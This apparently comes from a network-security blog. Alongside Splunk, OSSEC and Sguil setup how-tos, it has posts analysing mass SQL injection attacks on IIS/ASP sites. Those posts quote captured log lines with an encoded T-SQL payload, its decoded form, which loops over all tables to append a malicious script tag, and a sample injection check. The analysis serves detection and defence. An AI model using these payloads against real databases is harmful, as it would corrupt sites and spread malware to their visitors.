Friday, August 26, 2011

Google Apps authentication and Splunk SSO

It's no secret, I <3 splunk. But I'm not here to tell you why you NEED splunk (just take my word for it). I'm here to let you know about splunk-auth-proxy. splunk-auth-proxy is a simple node.js web app written in coffeescript which allows you to use Google Apps OpenID authentication to authenticate splunk access. It was written primarily by my co-worker Jonathan Rudenberg with a little help from me. So how do we use it?

I would highly suggest using a systems management system to automate deployment (we prefer chef). However, here I'll provide manual installation instructions for those less fortunate sysadmins.

These instructions were tested on Ubuntu 10.04 LTS.

Start by installing node.js and node package manager (npm):

install node.js and npm

sudo apt-get install python-software-properties

sudo add-apt-repository ppa:chris-lea/node.js
sudo apt-get update
sudo apt-get install nodejs npm

install splunk-auth-proxy

sudo apt-get install git-core

git clone

cd splunk-auth-proxy
npm install

configure splunk-auth-proxy

splunk-auth-proxy requires you to specify the location of the SSL private key and certificate you want to use as well as your Google Apps domain name and secret (creating your SSL private key and certificate is outside the scope of this howto).

edit config.json
"web": {
"port": "4000"
"ssl": {
"key": "./certs/privatekey.pem",
"cert": "./certs/certificate.pem"
"splunk": {
"hostname": "localhost",
"port": "8000"
"google": {
"domain": "",
"secret": "mygoogleappssupersecret"

configure splunk

In $SPLUNK_HOME/etc/system/local/ add the following to server.conf and web.conf

trustedIP =

enableSplunkWebSSL = 0
trustedIP =
SSOMode = strict
remoteUser = Remote-User

As documented in the splunk SSO docs, you will need to make sure you have already set up splunk users that match your Google Apps users. The quick and dirty solution is to download your Google Apps user list as a .csv and then use a script like, included with splunk-auth-proxy, to bulk add the users. You will need to update the script with proper splunk admin credentials and have a properly formatted .csv. The format for the .csv file is:


chmod +x
sudo ./ users.csv

User added.
...successfully added dale.neufeld

Test launch splunk-auth-proxy

$./node_modules/coffee-script/bin/coffee config.json
Now let's see if that worked. Browse to:

Hopefully you're taken to the Google login page, authenticated and passed right into splunk, fully authenticated and ready to search!

Daemonizing splunk-auth-proxy

We like runit for service start-up and supervision.

$sudo apt-get install runit
cd /etc/sv/
sudo mkdir splunk-auth-proxy
sudo touch run
sudo chmod +x run
sudo vim run

contents of run file

exec 2>&1
cd /path/to/splunk-auth-proxy
export NODE_ENV=production
exec ./node_modules/.bin/coffee server.coffe ./config.json

configure runit logging
sudo mkdir -p log/main
cd log
sudo touch run
sudo chmod +x run
sudo vim run

contents of /etc/sv/splunk-auth-proxy/log/run
exec svlogd -tt ./main

start splunk-auth-proxy service

sudo ln -s /etc/sv/splunk-auth-proxy /etc/service/
sudo sv restart splunk-auth-proxy

And there you have it! You should now have a fully functional SSO proxy sitting in front of splunk allowing your users to forget one more password! As a bonus, you also now have simple two-factor authentication capabilities ready to go if you use Google Apps two-step verification.

Thursday, June 24, 2010

Ongoing Mass SQLi attempts

I'm continuing to see ongoing SQLi attempts using the same injection technique we saw a couple of weeks ago. As one would expect the third-party site hosting the malicious JavaScript keeps changing. Below is a list of both the source IP addresses of the attempted SQLi attack as well as the script URL they're trying to inject:

**Last Updated 24-Jun-2010 12:45 EDT**

Source IP addresses of SQLi attacks:

Malicious Script URLs:


These have been reported to MalwareDomains, ISC, Sucuri and Shadowservers.

Wednesday, June 9, 2010

Anatomy of the latest Mass IIS/ASP infection

Over at sucuri they've blogged about the latest mass iis/asp infection. I was alerted to the first attempts against some of my sites Monday June 7 at 9:30 a.m. thanks to OSSEC. We've seen this type of mass sql injection several times in the past few years so why haven't sites smartened up? Anyways, here's a quick anatomy of this specific attempt.

Original web request (payload truncated for readability):

2010-06-07 13:31:15 W3SVC1 webserver GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - 200 0 0 32068 1685 0

When we pull this apart we have:

dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076........6F523B2D2D

So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':

0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.


0x<script src=hxxp://></script>

UPDATED 11/06/10

Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:


UPDATE #2 11/06/10

I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.

UPDATE #3 11/06/10

There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom application with completely custom parameter names.

Tuesday, May 11, 2010

Sguil client error with Ubuntu 10.04

After running Ubuntu 10.04 at home for a couple of weeks I decided to go ahead and upgrade my work system. Everything went smooth until I went to launch the Sguil client.

$ ./
ERROR: Cannot fine the Iwidgets extension.
The iwidgets package is part of the incr tcl extension and is
available as a port/package most systems.
See for more info.

Iwidgets was definitely installed so I asked in #snort-gui and qru suggested the following command, which provided some direction:

$ tclsh
% package require Iwidgets
version conflict for package "Tcl": have 8.4, need 8.5

Sguil doesn't support Tcl8.5 so we definitely want to stick with Tcl8.4. This seems to imply we have the "wrong" version of Iwidgets however that's not quite true. Turns out that with Ubuntu Lucid 10.04 we have the "wrong" versions of itcl and itk. Ubuntu Lucid includes the following versions of itcl and itk which require Tcl8.5 and Tk8.5:


The quick and dirty solution is to remove these new versions and grab the .debs from Ubuntu Hardy.

$ sudo apt-get remove tcl8.5
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
Use 'apt-get autoremove' to remove them.
The following packages will be REMOVED:
itcl3 itk3 iwidgets4 tcl8.5 tk8.5
0 upgraded, 0 newly installed, 5 to remove and 9 not upgraded.
After this operation, 10.0MB disk space will be freed.
Do you want to continue [Y/n]? y
(Reading database ... 187845 files and directories currently installed.)
Removing iwidgets4 ...
dpkg: warning: while removing iwidgets4, directory '/usr/share/tcltk/iwidgets4.0.1' not empty so not removed.
Removing itk3 ...
Removing itcl3 ...
Removing tk8.5 ...
Removing tcl8.5 ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Processing triggers for menu ...
Processing triggers for man-db ...

Now grab the .debs for Ubuntu Hardy and install:

$ sudo dpkg -i itcl3_3.2.1-3.1_amd64.deb

$ sudo dpkg -i itk3_3.2.1-3.1_amd64.deb

Last but not least we need to re-install Iwidgets:

$ sudo apt-get install iwidgets4

That's it, you should once again be able to launch the Sguil client.

Monday, February 2, 2009

OSSEC and Splunk

Here's how I configured OSSEC to send alerts to Splunk:

In ossec.conf add a syslog_output block specifying your Splunk system IP address and the port your network input is listening on:


Now you need to enable the syslog_output module and restart OSSEC:

#/var/ossec/bin/ossec-control enable client-syslog
#/var/ossec/bin/ossec-control restart

On restart you'll see ossec-csyslogd starting up. Now for the Splunk side.

You have a few options on how to receive OSSEC alerts. The two options I've looked at are a standard Splunk network input or syslog-ng. I would suggest using syslog-ng and either the FIFO or file destination method. This way when you need to restart Splunk, which can be rather frequent, you won't lose events like you would with the Splunk network input. Here, for simplicity I'll just walk through the Splunk network input method.

The easiest method is by adding this stanza to inputs.conf:


[udp://] #IP address of OSSEC server
disabled = false
sourcetype = ossec

By setting the sourcetype as OSSEC you're ready to take advantage of the Splunk for OSSEC app which will be available at Splunkbase shortly (

Make sure you update any local or network firewalls that this communication is traversing and then restart Splunk.

#$SPLUNK_HOME/bin/splunk restart

You can accomplish this using Splunk Web or Splunk CLI as documented here:

If you have any tweaks or improvements to configuration or the Splunk for OSSEC app please let me know!

Friday, May 9, 2008

OSSEC v1.5 Released

Yeah I know this is old news by now but I just wanted to congratulate dcid on the latest OSSEC release!

I'm really excited about the new centralized agent control functionality. With this feature centralized configuration management shouldn't be far off.

If you aren't running OSSEC yet you should definitely check it out!

It's about time . . . mass sql injection variant

It's been around 2 months since the ISC and the Microsoft CSS security team posted articles about a pretty major mass sql injection that affected over 10,000 websites. I was wondering when they'd finally hit some of the domains I monitor. Well today was my lucky day. The attempted injection I captured was almost identical to the ones described in the links above except for a couple small details.

1. First of all there was never an initial attempt to determine if the ASP page was vulnerable. The documented attack contained a simple injection check like this:'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''='

So why no injection check? My guess is that someone ripped off the rather slick payload delivery but didn't feel like building in the logic required to perform the initial injection checks. Why do you need to perform any checking? Why not just attempt payload delivery and move on.

2. The only difference in the payload attempt was a new script tag:

Decoded payload delivery:

DECLARE @T varchar(255),@C varchar(255)
select, from sysobjects a,syscolumns b where and
a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
exec('update ['+@T+'] set
CLOSE Table_Cursor

I tried wgetting the j*p.js to dig a little further but it had already been removed from the site.

Protection and Detection:

With the widespread success these attacks are seeing I'm sure they'll continue for the forseeable future. I highly suggest performing a code review on your web applications to ensure proper data input validation. SQL injection attacks are rather trivial to defend against and yet this attack vector is number 2 on the OWASP top 10.

Since these attacks keep showing up I would highly suggest implementing some form of detection. OSSEC HIDS does a great job alerting on common web application attacks. Some other protection and detection options include web application firewalls, reverse proxies, or NIDS.

Hello World

Welcome to the NSM Junkie blog, network security monitoring and other security topics as seen by cnk.